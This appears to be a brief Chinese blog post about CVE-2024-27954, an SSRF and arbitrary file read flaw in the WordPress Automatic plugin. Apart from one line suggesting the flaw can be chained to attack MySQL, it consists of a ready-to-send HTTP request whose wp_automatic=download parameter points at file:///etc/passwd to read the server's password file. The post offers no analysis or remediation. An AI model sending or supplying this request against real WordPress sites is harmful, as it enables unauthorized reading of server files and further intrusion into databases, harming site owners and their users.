ssrf-cve-2024-27954-wordpress-automatic

最后更新于 2024-05-10 305 次阅读

任意文件读取配合SSRF，直接打mysql即可
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Host: xxxxxxxxxxxxxxxxxx:443
Connection: close
Content-Length: 0